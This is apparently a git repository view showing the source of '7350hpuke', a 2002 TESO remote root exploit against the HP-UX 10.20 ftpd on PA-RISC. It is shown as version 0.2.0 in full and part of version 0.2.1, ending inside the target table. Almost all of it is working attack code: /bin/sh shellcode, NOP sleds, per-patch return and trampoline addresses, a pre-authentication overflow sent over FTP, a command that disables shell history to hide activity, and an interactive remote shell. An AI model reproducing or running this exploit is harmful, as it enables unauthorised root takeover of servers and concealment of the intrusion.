summaryrefslogtreecommitdiff
path: root/exploits/7350hpuke/backup
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /exploits/7350hpuke/backup
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'exploits/7350hpuke/backup')
-rw-r--r--exploits/7350hpuke/backup/7350hpuke-0.2.0.c840
-rw-r--r--exploits/7350hpuke/backup/7350hpuke-0.2.1.c894
-rw-r--r--exploits/7350hpuke/backup/7350hpuke-0.4.0.c1214
3 files changed, 2948 insertions, 0 deletions
diff --git a/exploits/7350hpuke/backup/7350hpuke-0.2.0.c b/exploits/7350hpuke/backup/7350hpuke-0.2.0.c
new file mode 100644
index 0000000..bbf1a30
--- /dev/null
+++ b/exploits/7350hpuke/backup/7350hpuke-0.2.0.c
@@ -0,0 +1,840 @@
1/* 7350hpuke - hppa/hpux ftpd remote root exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * The distribution restrictions cover the entire file, including this
14 * header notice. (This means, you are not allowed to reproduce the header).
15 *
16 * (C) COPYRIGHT TESO Security, 2002
17 * All Rights Reserved
18 *
19 *****************************************************************************
20 * 2002/02/10 -
21 *
22 * hints
23 *
24 * - to test for the vulnerability, just use "-l 1 -t 1" and see if the remote
25 * process dumps core (to /core)
26 * - the exploit is sensitive to what the local ip resolves to. only fqhn up
27 * to 17 characters will allow this exploitation method to work
28 * - for other versions of hpux, you need to find the correct trampoline
29 * address within the shared library quadrant (a disassembler is required)
30 * and the return address on the stack where your code lies. if you get
31 * a segfault when apparently everything else is correct, you are trying
32 * to return to the stack directly, without a proper space id.
33 *
34 * TODO: check with different libc version, maybe a bruteforce of the trampo
35 * address is necessary (most likely). also try to look for fixed (start
36 * of libc?) trampos.
37 */
38
39#define VERSION "0.2.0"
40
41#include <sys/types.h>
42#include <sys/time.h>
43#include <sys/socket.h>
44#include <netinet/in.h>
45#include <arpa/inet.h>
46#include <arpa/telnet.h>
47#include <netdb.h>
48#include <errno.h>
49#include <fcntl.h>
50#include <unistd.h>
51#include <stdio.h>
52#include <stdlib.h>
53#include <stdarg.h>
54#include <string.h>
55#include <time.h>
56
57
58#define INIT_CMD "unset HISTFILE;id;uname -a;\n"
59
60
61typedef struct {
62 char * desc; /* distribution */
63 char * banner; /* ftp banner part */
64 unsigned char * shellcode;
65 unsigned int shellcode_len;
66
67 unsigned int cpad; /* padding in the xp cmd */
68 unsigned long int retaddr1; /* return address to trampo */
69 unsigned long int retaddr2; /* return address to code */
70} tgt_type;
71
72
73unsigned char hppa_nop[] =
74 "\x0b\x39\x02\x99"; /* xor %r25,%r25,%r25 */
75
76/* does work on 1.7.212.5, but not on .1, huh?
77 */
78unsigned char hppa_hpux_execve[] =
79 "\xeb\x5f\x1f\xfd\xb4\x16\x70\x76\xb7\x5a\x40\x3a"
80 "\x0f\xc0\x12\x88\x0f\xda\x12\x80\x0b\xc0\x02\x99"
81 "\x0b\x18\x02\x98\x22\xa0\x08\x01\xe6\xa0\xe0\x08"
82 "\x0f\x40\x12\x0e\x2f\x62\x69\x6e\x2f\x73\x68\x41";
83
84#if 0
85/* lsd shellcode, some russian hugs to you! :)
86 */
87unsigned char hppa_hpux_execve_lsd[] =
88 "\x0b\x5a\x02\x9a" /* xor %r26,%r26,%r26 */
89 "\x0b\x39\x02\x99" /* xor %r25,%r25,%r25 */
90 "\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */
91 "\x20\x20\x08\x01" /* ldil L%0xc0000004,%r1 */
92 "\xe4\x20\xe0\x08" /* ble R%0xc0000004(%sr7,%r1) */
93 "\xb4\x16\x70\xfc" /* addi,> 0x7e,%r0,%r22 */
94
95 "\xeb\x5f\x1f\xfd" /* bl <shellcode+4>,%r26 */
96 "\x0b\x39\x02\x99" /* xor %r25,%r25,%r25 */
97 "\xb7\x5a\x40\x22" /* addi,< 0x11,%r26,%r26 */
98 "\x0f\x40\x12\x0e" /* stbs %r0,7(%r26) */
99 "\x20\x20\x08\x01" /* ldil L%0xc0000004,%r1 */
100 "\xe4\x20\xe0\x08" /* ble R%0xc0000004(%sr7,%r1) */
101 "\xb4\x16\x70\x16" /* addi,> 0xb,%r0,%r22 */
102 "/bin/shA";
103#endif
104
105/* i am not that sure that this method of exploitation will work on other
106 * hpux systems. the vulnerability is itself very weird. i see what fails
107 * where and how it goes wrong, but i am unable to see why. there is
108 * boundary checking prior to the overflow, its difficult to reproduce
109 * logically and generally "weird". i like it.
110 */
111tgt_type targets[] = {
112 { "DEBUG TARGET",
113 "DEBUG",
114 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
115 25, 0x41414141, 0x42424242 },
116
117 /* real targets
118 */
119 { "HP-UX B.10.20 A - 1.7.212.1 default [1996/05/09 - 1997/01/26]",
120 "Version 1.7.212.1 Thu May 9 21:10:27 GMT 1996",
121 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
122 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */
123 0x7b03add0 },
124
125 { "HP-UX B.10.20 A - 1.7.212.1 PHNE_9785 [1997/01/26 - 1997/02/07] (mirrors: default)",
126 "Version 1.7.212.1 Mon Jan 13 23:52:32 GMT 1997",
127 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
128 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */
129 0x7b03add0 },
130
131 { "HP-UX B.10.20 A - 1.7.212.1 PHNE_10010 [1997/02/07 - 1998/04/28] (mirrors: default)",
132 "Version 1.7.212.1 Sat Feb 1 01:30:15 GMT 1997",
133 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
134 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */
135 0x7b03add0 },
136
137 { "HP-UX B.10.20 A - 1.7.212.2 PHNE_13597 [1998/04/28 - 1999/07/26] (mirrors: default)",
138 "Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998",
139 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
140 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */
141 0x7b03add0 },
142
143 { "HP-UX B.10.20 A - 1.7.212.3 PHNE_17963 [1999/07/26 - 2000/09/22] (mirrors: default)",
144 "Version 1.7.212.3 Wed Jul 14 10:24:05 GMT 1999",
145 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
146 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */
147 0x7b03add0 },
148
149 { "HP-UX B.10.20 A - 1.7.212.4 PHNE_22057 [2000/09/22 - 2001/06/04] (mirrors: default)",
150 "Version 1.7.212.4 Tue Sep 12 04:33:08 GMT 2000",
151 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
152 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */
153 0x7b03add0 },
154
155 { "HP-UX B.10.20 A - 1.7.212.5 PHNE_23948 [2001/06/04 - now] (mirrors: default)",
156 "Version 1.7.212.5 Wed May 30 12:19:42 GMT 2001",
157 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
158 25, 0xc0011000 + 0x000116c20, /* libc base + trampo */
159 0x7b03add0 },
160
161 { NULL, NULL, 0, 0, 0, 0 },
162};
163
164
165/* FTP related stuff
166 */
167char * dest = "127.0.0.1"; /* can be changed with -d */
168char * ftp_banner = NULL;
169int verbose = 0;
170
171
172/* FTP prototypes
173 */
174void ftp_escape (unsigned char *buf, unsigned long int buflen);
175void ftp_recv_until (int sock, char *buff, int len, char *begin);
176int ftp_login (char *host);
177
178
179/* main prototypes
180 */
181void usage (char *progname);
182void exploit (int fd, tgt_type *tgt);
183void shell (int sock);
184void hexdump (char *desc, unsigned char *data, unsigned int amount);
185
186void tgt_list (void);
187tgt_type * tgt_frombanner (unsigned char *banner);
188
189
190/* imported from network.c
191 */
192#define NET_CONNTIMEOUT 60
193#define NET_READTIMEOUT 20
194int net_conntimeout = NET_CONNTIMEOUT;
195
196unsigned long int net_resolve (char *host);
197int net_connect (struct sockaddr_in *cs, char *server,
198 unsigned short int port, int sec);
199void net_write (int fd, const char *str, ...);
200int net_rtimeout (int fd, int sec);
201int net_rlinet (int fd, char *buf, int bufsize, int sec);
202
203
204int debugmode = 0;
205
206
207void
208usage (char *progname)
209{
210 fprintf (stderr, "usage: %s [-h] [-v] [-D] [-l <len>] [-t <num>] [-d host]\n",
211 progname);
212
213 fprintf (stderr,
214 "-h\tthis help\n"
215 "-v\tbe verbose (default: off, twice for greater effect)\n"
216 "-D\tDEBUG mode (waits for keypresses)\n"
217 "-l len\tresolved hostname length (of this host)\n"
218 "-t num\tchoose target (0 for list, try -v or -v -v)\n"
219 "-d dest\tIP address or fqhn to connect to "
220 "(default: 127.0.0.1)\n"
221 "\n");
222
223 exit (EXIT_FAILURE);
224}
225
226int resolv_len = -1;
227unsigned char * shellcode = NULL;
228unsigned long int shellcode_len = 0;
229
230
231int
232main (int argc, char *argv[])
233{
234 char c;
235 char * progname; /* = argv[0] */
236 int fd;
237
238 tgt_type * tgt = NULL;
239 int tgt_num = -1;
240
241 unsigned char rcvbuf[2048];
242
243
244 fprintf (stderr, "7350hpuke - hppa/hpux ftpd remote root "
245 "(version "VERSION")\n"
246 "team teso.\n\n");
247
248 progname = argv[0];
249 if (argc < 2)
250 usage (progname);
251
252
253 while ((c = getopt (argc, argv, "hvDl:t:d:")) != EOF) {
254 switch (c) {
255 case 'h':
256 usage (progname);
257 break;
258 case 'D':
259 debugmode = 1;
260 break;
261 case 'v':
262 verbose += 1;
263 break;
264 case 'l':
265 if (sscanf (optarg, "%u", &resolv_len) != 1)
266 usage (progname);
267 break;
268 case 't':
269 if (sscanf (optarg, "%u", &tgt_num) != 1)
270 usage (progname);
271 break;
272 case 'd':
273 dest = optarg;
274 break;
275 default:
276 usage (progname);
277 break;
278 }
279 }
280
281 if (tgt_num == 0 ||
282 tgt_num >= (sizeof (targets) / sizeof (tgt_type)))
283 {
284 if (tgt_num != 0)
285 printf ("WARNING: target out of list. list:\n\n");
286
287 tgt_list ();
288
289 exit (EXIT_SUCCESS);
290 }
291
292 if (resolv_len == -1) {
293 fprintf (stderr, "resolv length parameter required, doh!\n");
294 exit (EXIT_FAILURE);
295 }
296 if (resolv_len > 17) {
297 fprintf (stderr, "resolv length too large, this exploitation "
298 "method only supports\nlength below or equal to 17 "
299 "chars\n");
300 exit (EXIT_FAILURE);
301 }
302
303 if (tgt == NULL)
304 tgt = &targets[tgt_num - 1];
305
306
307 printf ("# trying to connect to %s ...", dest);
308 fflush (stdout);
309
310 fd = ftp_login (dest);
311 if (fd <= 0) {
312 fprintf (stderr, "\nfailed to connect (user/pass correct?)\n");
313 exit (EXIT_FAILURE);
314 }
315 printf (" connected.\n");
316
317 if (debugmode) {
318 printf ("DEBUG: press enter\n");
319 getchar ();
320 }
321
322 printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
323 ftp_banner);
324
325 if (shellcode == NULL) {
326 shellcode = tgt->shellcode;
327 shellcode_len = tgt->shellcode_len;
328 }
329
330
331 if (verbose >= 2) {
332 printf ("using %lu byte shellcode:\n", shellcode_len);
333
334 hexdump ("shellcode", shellcode, shellcode_len);
335 }
336
337 printf ("\n### TARGET: %s\n\n", tgt->desc);
338
339 /* real stuff starts from here
340 */
341 printf ("# 1. sending preparation commands\n");
342 net_write (fd, "SITE 73507350735073507350735073507350"
343 "735073507350735073507350\n");
344 ftp_recv_until (fd, rcvbuf, sizeof (rcvbuf), "500 ");
345 exploit (fd, tgt);
346
347 printf ("# trying to spawn shell\n");
348 printf ("##################################################"
349 "##########################\n");
350
351 write (fd, INIT_CMD, strlen (INIT_CMD));
352 shell (fd);
353
354 exit (EXIT_SUCCESS);
355}
356
357
358void
359exploit (int fd, tgt_type *tgt)
360{
361 int n,
362 padnop,
363 pad;
364 unsigned char * xpw;
365 unsigned char xpbuf[1024 + 256]; /* + NETSLOP ;-) */
366
367
368 memset (xpbuf, '\0', sizeof (xpbuf));
369
370 pad = 17 - resolv_len;
371 for (xpw = xpbuf, n = 0 ; pad > 0 ; --pad)
372 *xpw++ = "7350"[n++ % 4];
373
374 /* now the second return address (at %sp - 0x18) for thunking
375 */
376 *xpw++ = (tgt->retaddr2 & 0xff000000) >> 24;
377 *xpw++ = (tgt->retaddr2 & 0x00ff0000) >> 16;
378 *xpw++ = (tgt->retaddr2 & 0x0000ff00) >> 8;
379 *xpw++ = (tgt->retaddr2 & 0x000000ff);
380
381 /* directly after it, *tada*, the first return address to the space
382 * redirection stub
383 */
384 *xpw++ = (tgt->retaddr1 & 0xff000000) >> 24;
385 *xpw++ = (tgt->retaddr1 & 0x00ff0000) >> 16;
386 *xpw++ = (tgt->retaddr1 & 0x0000ff00) >> 8;
387 *xpw++ = (tgt->retaddr1 & 0x000000ff);
388
389
390 /* XXX: might be different on other binaries */
391 strcat (xpbuf, "A"); /* padding */
392 if (verbose)
393 printf ("n = strlen (xpbuf) = %d\n", strlen (xpbuf));
394
395 /* nopspace + shellcode
396 */
397 padnop = 990 + tgt->cpad - resolv_len - strlen (xpbuf);
398 padnop &= ~0x3; /* pad down to 4 byte boundary */
399
400 for (n = 0, xpw = xpbuf + strlen (xpbuf) ;
401 n < padnop ; ++n)
402 {
403 *xpw++ = hppa_nop[n % 4];
404 }
405 if (verbose)
406 printf ("n = %d, n %% 4 = %d\n", n, n % 4);
407
408 memcpy (xpw - tgt->shellcode_len - 8, tgt->shellcode, tgt->shellcode_len);
409 xpw += strlen (xpw);
410 printf ("strlen (xpbuf) = %d\n", strlen (xpbuf));
411
412 *xpw++ = '\n';
413
414 ftp_escape (xpbuf, sizeof (xpbuf));
415 net_write (fd, "%s", xpbuf);
416
417 return;
418}
419
420
421/* tgt_list
422 *
423 * give target list
424 */
425
426void
427tgt_list (void)
428{
429 int tgt_num;
430
431
432 printf ("num . description\n");
433 printf ("----+-----------------------------------------------"
434 "--------\n");
435
436 for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) {
437 printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc);
438
439 if (verbose)
440 printf (" : %s\n", targets[tgt_num].banner);
441 if (verbose >= 2)
442 printf (" : retaddr1: 0x%08lx "
443 "retaddr2: 0x%08lx\n",
444 targets[tgt_num].retaddr1,
445 targets[tgt_num].retaddr2);
446 }
447 printf (" '\n");
448
449 return;
450}
451
452
453void
454shell (int sock)
455{
456 int l;
457 char buf[512];
458 fd_set rfds;
459
460
461 while (1) {
462 FD_SET (0, &rfds);
463 FD_SET (sock, &rfds);
464
465 select (sock + 1, &rfds, NULL, NULL, NULL);
466 if (FD_ISSET (0, &rfds)) {
467 l = read (0, buf, sizeof (buf));
468 if (l <= 0) {
469 perror ("read user");
470 exit (EXIT_FAILURE);
471 }
472 write (sock, buf, l);
473 }
474
475 if (FD_ISSET (sock, &rfds)) {
476 l = read (sock, buf, sizeof (buf));
477 if (l == 0) {
478 printf ("connection closed by foreign host.\n");
479 exit (EXIT_FAILURE);
480 } else if (l < 0) {
481 perror ("read remote");
482 exit (EXIT_FAILURE);
483 }
484 write (1, buf, l);
485 }
486 }
487}
488
489
490/*** FTP functions
491 */
492
493/* FTP is TELNET is SHIT.
494 */
495
496void
497ftp_escape (unsigned char *buf, unsigned long int buflen)
498{
499 unsigned char * obuf = buf;
500
501
502 for ( ; *buf != '\0' ; ++buf) {
503 if (*buf == 0xff &&
504 (((buf - obuf) + strlen (buf) + 1) < buflen))
505 {
506 memmove (buf + 1, buf, strlen (buf) + 1);
507 buf += 1;
508 }
509 }
510}
511
512
513void
514ftp_recv_until (int sock, char *buff, int len, char *begin)
515{
516 char dbuff[2048];
517
518
519 if (buff == NULL) {
520 buff = dbuff;
521 len = sizeof (dbuff);
522 }
523
524 do {
525 memset (buff, '\x00', len);
526 if (net_rlinet (sock, buff, len - 1, 20) <= 0)
527 return;
528 } while (memcmp (buff, begin, strlen (begin)) != 0);
529
530 return;
531}
532
533
534int
535ftp_login (char *host)
536{
537 int ftpsock;
538 char resp[512];
539
540
541 ftpsock = net_connect (NULL, host, 21, 30);
542 if (ftpsock <= 0)
543 return (0);
544
545 memset (resp, '\x00', sizeof (resp));
546 if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
547 goto flerr;
548
549 /* handle multiline pre-login stuff (rfc violation !)
550 */
551 if (memcmp (resp, "220-", 4) == 0)
552 ftp_recv_until (ftpsock, resp, sizeof (resp), "220 ");
553
554 if (memcmp (resp, "220 ", 4) != 0) {
555 if (verbose)
556 printf ("\n%s\n", resp);
557 goto flerr;
558 }
559 ftp_banner = strdup (resp);
560
561 /* do not login really, this is 100% pre-auth
562 */
563 return (ftpsock);
564
565flerr:
566 if (ftpsock > 0)
567 close (ftpsock);
568
569 return (0);
570}
571
572
573/* ripped from zodiac */
574void
575hexdump (char *desc, unsigned char *data, unsigned int amount)
576{
577 unsigned int dp, p; /* data pointer */
578 const char trans[] =
579 "................................ !\"#$%&'()*+,-./0123456789"
580 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
581 "nopqrstuvwxyz{|}~...................................."
582 "....................................................."
583 "........................................";
584
585
586 printf ("/* %s, %u bytes */\n", desc, amount);
587
588 for (dp = 1; dp <= amount; dp++) {
589 fprintf (stderr, "%02x ", data[dp-1]);
590 if ((dp % 8) == 0)
591 fprintf (stderr, " ");
592 if ((dp % 16) == 0) {
593 fprintf (stderr, "| ");
594 p = dp;
595 for (dp -= 16; dp < p; dp++)
596 fprintf (stderr, "%c", trans[data[dp]]);
597 fflush (stderr);
598 fprintf (stderr, "\n");
599 }
600 fflush (stderr);
601 }
602 if ((amount % 16) != 0) {
603 p = dp = 16 - (amount % 16);
604 for (dp = p; dp > 0; dp--) {
605 fprintf (stderr, " ");
606 if (((dp % 8) == 0) && (p != 8))
607 fprintf (stderr, " ");
608 fflush (stderr);
609 }
610 fprintf (stderr, " | ");
611 for (dp = (amount - (16 - p)); dp < amount; dp++)
612 fprintf (stderr, "%c", trans[data[dp]]);
613 fflush (stderr);
614 }
615 fprintf (stderr, "\n");
616
617 return;
618}
619
620
621
622unsigned long int
623net_resolve (char *host)
624{
625 long i;
626 struct hostent *he;
627
628 i = inet_addr(host);
629 if (i == -1) {
630 he = gethostbyname(host);
631 if (he == NULL) {
632 return (0);
633 } else {
634 return (*(unsigned long *) he->h_addr);
635 }
636 }
637 return (i);
638}
639
640
641int
642net_connect (struct sockaddr_in *cs, char *server,
643 unsigned short int port, int sec)
644{
645 int n,
646 len,
647 error,
648 flags;
649 int fd;
650 struct timeval tv;
651 fd_set rset, wset;
652 struct sockaddr_in csa;
653
654 if (cs == NULL)
655 cs = &csa;
656
657 /* first allocate a socket */
658 cs->sin_family = AF_INET;
659 cs->sin_port = htons (port);
660 fd = socket (cs->sin_family, SOCK_STREAM, 0);
661 if (fd == -1)
662 return (-1);
663
664 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
665 close (fd);
666 return (-1);
667 }
668
669 flags = fcntl (fd, F_GETFL, 0);
670 if (flags == -1) {
671 close (fd);
672 return (-1);
673 }
674 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
675 if (n == -1) {
676 close (fd);
677 return (-1);
678 }
679
680 error = 0;
681
682 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
683 if (n < 0) {
684 if (errno != EINPROGRESS) {
685 close (fd);
686 return (-1);
687 }
688 }
689 if (n == 0)
690 goto done;
691
692 FD_ZERO(&rset);
693 FD_ZERO(&wset);
694 FD_SET(fd, &rset);
695 FD_SET(fd, &wset);
696 tv.tv_sec = sec;
697 tv.tv_usec = 0;
698
699 n = select(fd + 1, &rset, &wset, NULL, &tv);
700 if (n == 0) {
701 close(fd);
702 errno = ETIMEDOUT;
703 return (-1);
704 }
705 if (n == -1)
706 return (-1);
707
708 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
709 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
710 len = sizeof(error);
711 if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
712 errno = ETIMEDOUT;
713 return (-1);
714 }
715 if (error == 0) {
716 goto done;
717 } else {
718 errno = error;
719 return (-1);
720 }
721 }
722 } else
723 return (-1);
724
725done:
726 n = fcntl(fd, F_SETFL, flags);
727 if (n == -1)
728 return (-1);
729 return (fd);
730}
731
732
733void
734net_write (int fd, const char *str, ...)
735{
736 char tmp[1025];
737 va_list vl;
738 int i;
739
740 va_start(vl, str);
741 memset(tmp, 0, sizeof(tmp));
742 i = vsnprintf(tmp, sizeof(tmp), str, vl);
743 va_end(vl);
744
745#ifdef DEBUG
746 printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n");
747#endif
748
749 send(fd, tmp, i, 0);
750 return;
751}
752
753
754int
755net_rlinet (int fd, char *buf, int bufsize, int sec)
756{
757 int n;
758 unsigned long int rb = 0;
759 struct timeval tv_start, tv_cur;
760
761 memset(buf, '\0', bufsize);
762 (void) gettimeofday(&tv_start, NULL);
763
764 do {
765 (void) gettimeofday(&tv_cur, NULL);
766 if (sec > 0) {
767 if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -
768 ((tv_start.tv_sec * 1000000) +
769 (tv_start.tv_usec))) > (sec * 1000000))
770 {
771 return (-1);
772 }
773 }
774 n = net_rtimeout(fd, NET_READTIMEOUT);
775 if (n <= 0) {
776 return (-1);
777 }
778 n = read(fd, buf, 1);
779 if (n <= 0) {
780 return (n);
781 }
782 rb++;
783 if (*buf == '\n')
784 return (rb);
785 buf++;
786 if (rb >= bufsize)
787 return (-2); /* buffer full */
788 } while (1);
789}
790
791
792int
793net_rtimeout (int fd, int sec)
794{
795 fd_set rset;
796 struct timeval tv;
797 int n, error, flags;
798
799
800 error = 0;
801 flags = fcntl(fd, F_GETFL, 0);
802 n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
803 if (n == -1)
804 return (-1);
805
806 FD_ZERO(&rset);
807 FD_SET(fd, &rset);
808 tv.tv_sec = sec;
809 tv.tv_usec = 0;
810
811 /* now we wait until more data is received then the tcp low level
812 * watermark, which should be setted to 1 in this case (1 is default)
813 */
814 n = select(fd + 1, &rset, NULL, NULL, &tv);
815 if (n == 0) {
816 n = fcntl(fd, F_SETFL, flags);
817 if (n == -1)
818 return (-1);
819 errno = ETIMEDOUT;
820 return (-1);
821 }
822 if (n == -1) {
823 return (-1);
824 }
825 /* socket readable ? */
826 if (FD_ISSET(fd, &rset)) {
827 n = fcntl(fd, F_SETFL, flags);
828 if (n == -1)
829 return (-1);
830 return (1);
831 } else {
832 n = fcntl(fd, F_SETFL, flags);
833 if (n == -1)
834 return (-1);
835 errno = ETIMEDOUT;
836 return (-1);
837 }
838}
839
840
diff --git a/exploits/7350hpuke/backup/7350hpuke-0.2.1.c b/exploits/7350hpuke/backup/7350hpuke-0.2.1.c
new file mode 100644
index 0000000..b1c2c0c
--- /dev/null
+++ b/exploits/7350hpuke/backup/7350hpuke-0.2.1.c
@@ -0,0 +1,894 @@
1/* 7350hpuke - hppa/hpux ftpd remote root exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * The distribution restrictions cover the entire file, including this
14 * header notice. (This means, you are not allowed to reproduce the header).
15 *
16 * (C) COPYRIGHT TESO Security, 2002
17 * All Rights Reserved
18 *
19 *****************************************************************************
20 * 2002/02/10 -
21 *
22 * hints
23 *
24 * - to test for the vulnerability, just use "-l 1 -t 1" and see if the remote
25 * process dumps core (to /core)
26 * - the exploit is sensitive to what the local ip resolves to. only fqhn up
27 * to 17 characters will allow this exploitation method to work
28 * - for other versions of hpux, you need to find the correct trampoline
29 * address within the shared library quadrant (a disassembler is required)
30 * and the return address on the stack where your code lies. if you get
31 * a segfault when apparently everything else is correct, you are trying
32 * to return to the stack directly, without a proper space id.
33 *
34 * TODO: check with different libc version, maybe a bruteforce of the trampo
35 * address is necessary (most likely). also try to look for fixed (start
36 * of libc?) trampos.
37 */
38
39#define VERSION "0.2.1"
40
41#include <sys/types.h>
42#include <sys/time.h>
43#include <sys/socket.h>
44#include <netinet/in.h>
45#include <arpa/inet.h>
46#include <arpa/telnet.h>
47#include <netdb.h>
48#include <errno.h>
49#include <fcntl.h>
50#include <unistd.h>
51#include <stdio.h>
52#include <stdlib.h>
53#include <stdarg.h>
54#include <string.h>
55#include <time.h>
56
57
58#define INIT_CMD "unset HISTFILE;id;uname -a;\n"
59
60
61typedef struct {
62 char * desc; /* distribution */
63 char * banner; /* ftp banner part */
64 unsigned char * shellcode;
65 unsigned int shellcode_len;
66
67 unsigned int cpad; /* padding in the xp cmd */
68 unsigned long int retaddr1; /* return address to trampo */
69 unsigned long int retaddr2; /* return address to code */
70} tgt_type;
71
72
73typedef struct {
74 char * patchset;
75 unsigned long int trampo_addr;
76} trampo_type;
77
78
79/* shellcode
80 */
81
82unsigned char hppa_nop[] =
83 "\x0b\x39\x02\x99"; /* xor %r25,%r25,%r25 */
84
85/* hppa/hpux execve -sc
86 */
87unsigned char hppa_hpux_execve[] =
88 "\xeb\x5f\x1f\xfd\xb4\x16\x70\x76\xb7\x5a\x40\x3a"
89 "\x0f\xc0\x12\x88\x0f\xda\x12\x80\x0b\xc0\x02\x99"
90 "\x0b\x18\x02\x98\x22\xa0\x08\x01\xe6\xa0\xe0\x08"
91 "\x0f\x40\x12\x0e\x2f\x62\x69\x6e\x2f\x73\x68\x41";
92
93/* addresses of one of the standard inter-space stubs within the libc.
94 * jumps to [$sp - 0x18].
95 *
96 * 0xc0011000 is the base address of libc within the ftpd process,
97 * the relative offset it the address within libc (as IDA shows it)
98 *
99 * XXX: all trampos seem to be aligned on & 0xfffffff8 boundaries, and
100 * in a relative range 0x0000 to 0x0400. that makes a nice brute
101 * force attack in just 0x80 (= 128) tries. since every other
102 * address is fixed, its definatly a TODO
103 */
104trampo_type trampolines[] = {
105 { "HP-UX 10.20 default [1996/10/11]", 0xc0011000 + 0x00116c20 },
106/* XXX { "HP-UX 10.20 PHCO_8108 missing", 0x0 }, */
107 { "HP-UX 10.20 PHCO_8764 [1996/10/11]", 0xc0011000 + 0x00116fd8 },
108 { "HP-UX 10.20 PHCO_8979 [1996/12/10]", 0xc0011000 + 0x00116c48 },
109 { "HP-UX 10.20 PHCO_9577 [1997/01/13]", 0xc0011000 + 0x00116c48 },
110 { "HP-UX 10.20 PHCO_10027 [1997/02/18]", 0xc0011000 + 0x00116d58 },
111 { "HP-UX 10.20 PHCO_11004 [1997/05/15]", 0xc0011000 + 0x00116e58 },
112 { "HP-UX 10.20 PHCO_11315 [1997/06/12]", 0xc0011000 + 0x00116e08 },
113 { NULL, 0x0 },
114};
115
116/* i am not that sure that this method of exploitation will work on other
117 * hpux systems. the vulnerability is itself very weird. i see what fails
118 * where and how it goes wrong, but i am unable to see why. there is
119 * boundary checking prior to the overflow, its difficult to reproduce
120 * logically and generally "weird". i like it.
121 */
122tgt_type targets[] = {
123 { "DEBUG TARGET",
124 "DEBUG",
125 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
126 25, 0x41414141, 0x42424242 },
127
128 /* real targets
129 */
130 { "HP-UX B.10.20 A - 1.7.212.1 default [1996/05/09 - 1997/01/26]",
131 "Version 1.7.212.1 Thu May 9 21:10:27 GMT 1996",
132 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
133 25, 0xc0011000 + 0x00116c20, /* libc base + trampo */
134 0x7b03add0 },
135
136 { "HP-UX B.10.20 A - 1.7.212.1 PHNE_9785 [1997/01/26 - 1997/02/07] (mirrors: default)",
137 "Version 1.7.212.1 Mon Jan 13 23:52:32 GMT 1997",
138 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
139 25, 0xc0011000 + 0x00116c20, /* libc base + trampo */
140 0x7b03add0 },
141
142 { "HP-UX B.10.20 A - 1.7.212.1 PHNE_10010 [1997/02/07 - 1998/04/28] (mirrors: default)",
143 "Version 1.7.212.1 Sat Feb 1 01:30:15 GMT 1997",
144 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
145 25, 0xc0011000 + 0x00116c20, /* libc base + trampo */
146 0x7b03add0 },
147
148 { "HP-UX B.10.20 A - 1.7.212.2 PHNE_13597 [1998/04/28 - 1999/07/26] (mirrors: default)",
149 "Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998",
150 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
151 25, 0xc0011000 + 0x00116c20, /* libc base + trampo */
152 0x7b03add0 },
153
154 { "HP-UX B.10.20 A - 1.7.212.3 PHNE_17963 [1999/07/26 - 2000/09/22] (mirrors: default)",
155 "Version 1.7.212.3 Wed Jul 14 10:24:05 GMT 1999",
156 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
157 25, 0xc0011000 + 0x00116c20, /* libc base + trampo */
158 0x7b03add0 },
159
